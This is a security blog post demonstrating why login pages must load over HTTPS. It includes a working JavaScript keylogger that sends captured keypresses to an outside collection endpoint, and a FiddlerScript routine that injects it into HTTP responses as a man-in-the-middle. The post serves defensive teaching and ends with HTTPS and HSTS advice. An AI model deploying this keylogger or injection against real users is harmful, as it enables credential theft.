Hacking an Insecure Login Form

Hacked Login Form

Setting up SSL/TLS on sites has gotten easier and cheaper, but it has always been the Achilles heel for a lot of web developers. One of the most common problems is not serving the login landing page over HTTPS.

Developers need to understand why it is important to serve the login landing page over HTTPS and how posting the user’s credentials over HTTPS is not enough.

 

Hacking an Insecure Login Form

To demonstrate the vulnerabilities that can be exploited on an insecure login landing page, I stood up a Microsoft Azure site SSLGotchas.com.  On this site, the login landing page below is loaded insecurely over HTTP.

ScreenClip.png

 

There hasn’t been any sensitive data exchange in this simple GET for the login form over HTTP.  Therefore, as long as we post the users credentials over HTTPS we won’t be exposing the data in plan view/text of anyone listening (e.g. a packet sniffer https://www.wireshark.org or running a wireless adapter that supports promiscuous mode such as Alpa AWUS036NH).

Our form will post to a secure endpoint https://sslgotchas.com as seen below:

The HTTPS Form URL

 

 

Finally, we can successfully, login after posting to the above secure route https://sslogotchas.com/account/login.

success-post-https.png

 

Why is this a problem? By loading a page over HTTP only to post to HTTPS, we lose one of the cornerstones of SSL/TLS, integrity.  SSL/TLS provides integrity by ensuring that there has not been a compromise of the communication and the data in transit has not been tampered with.  Therefore, it leaves the communication completely open to man-in-the-middle attacks.

The man-in-the-middle can come in a number of flavors; someone sitting in your favorite Starbucks with a Wifi Pineapple, or a malware infected computer which potentially has the ability to inject itself into the communication, again because it is unprotected over HTTP.

We’re going to use Fiddler for our M-i-t-m to demonstrate exactly what will happen. Fiddler will inject a small snippet of JavaScript (seen below) which is a key logger I set up to send the captured key presses to an Azure API that stores the entries in table storage.

 

<script type="text/javascript">

    var bufferedData = [];

    var attacker = "http://stoleyourscribbles.azurewebsites.net/api/scribbles/stolen?data=";

    document.onkeypress = function(e) {

      bufferedData.push(String.fromCharCode(e.keyCode));

    }

    window.setInterval(function() {

      if (bufferedData.length > 0) {

         var data = encodeURIComponent(JSON.stringify(bufferedData));

         new Image().src = attacker + data;

         bufferedData = [];

      }

    }, 8000);

</script>

 

 

Leveraging Fiddler Script to modify the response, the JavaScript above will be injected in the response of the GET request for the login landing page, the one that was requested over HTTP:

 

static function OnBeforeResponse(oSession: Session) {

       if (m_Hide304s && oSession.responseCode == 304) {

           oSession["ui-hide"] = "true";

       }

       if (oSession.oResponse.headers.ExistsAndContains("Content-Type", "html") &&

       oSession.HostnameIs("sslgotchas.com")) {

           // Remove any compression or chunking

           oSession.utilDecodeResponse();

           var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);

           // Find the end of the HEAD script, so you can inject script block there.

           var oRegEx = oRegEx = /(<\/head>)/gi

           // replace the head-close tag with new-script + head-close

           oBody = oBody.replace(oRegEx, "<script type='text/javascript'>var bufferedData = [];var attacker = " + '\n' +

               "'" + "http://stoleyourscribbles.azurewebsites.net/api/scribbles/stolen?data=" + "';" + '\n' +

               "document.onkeypress = function(e) {bufferedData.push(String.fromCharCode(e.keyCode));}" + '\n' +

               "window.setInterval(function() {" + "if (bufferedData.length > 0) {" + "var data = encodeURIComponent(JSON.stringify(bufferedData));" + '\n' +

               "new Image().src = attacker + data;" + "bufferedData = [];" + "}}, 8000);" + '\n' +

               "</script></head>");

           // Set the response body to the changed body string

           oSession.utilSetResponseBody(oBody);

       }

   }

 

We can see that indeed the script was injected by Fiddler:

Response with JavaScript Injection

 

With the key logger injected into the site, every 8 seconds it will capture any key presses and send the results to a complete independent site endpoint at http://stoleyourscribbles.azurewebsites.net/api/scribbles/stolen.  Now, don’t get hung up on the 8 seconds, that’s only what I set it to for easier display of the entries on the backend which we’ll look at next.  It could be milliseconds or more often if we like.

 

Scribbles Ushered to external Site

 

 

The end result is entries in Azure Table storage, which in our example represent the user’s credentials (view of Azure Storage Explorer 6):

 

Captured Scribbles in Azure Table Storage

 

I could have gotten a lot fancier and more human-consumable by rolling out the captured data to various sites and grouping it based on additional information.  But the point I think is clear.

None of this would have been possible, if the initial login landing page was loaded over HTTPS.  In that case, the communications would be secure, and you would have preserved the integrity of the data in transit from someone manipulating the response.

 

Don’t Forget Server Validity

Another cornerstone of SSL/TLS is server validity.  We’re making the assumption that the underlying endpoint where these credentials will be posted to is not only a legit server, but the server that we expect.  Part of the handshake setting up a secure communication between the browser and the server is validating the server.  That hasn’t happened, and there is no verification before these credentials are sent off to the ether.

We can put additional validations in place (such as ASP.NET’s  [RequireHTTPS] attribute) to ensure that resources that should be served over HTTPS can only be requested over HTTPS. Or through policies such as HTTP Strict Transport Security (HSTS) as examples of proactive measures.  But, the bottom line is that even the login landing page must be served over HTTPS.

 

Conclusion

In the end, it is up to us developers to understand why serving even the login landing page over HTTPS is so important.  Apparently, Mozilla agrees because, while I was writing this post, Firefox  decided to explicitly warn in their developer build (starting in DevEdition 46) if you attempt to load a login page insecurely.  When it comes to undermining the security of an application, it only takes finding the weakest link.  In the case of circumventing the security provided by SSL, if an attacker can gain access before SSL is in place, then the damage is already done.

About the author

Max McCarty

Max McCarty is a software developer with a passion for breathing life into big ideas. He is the founder and owner of LockMeDown.com and host of the popular Lock Me Down podcast.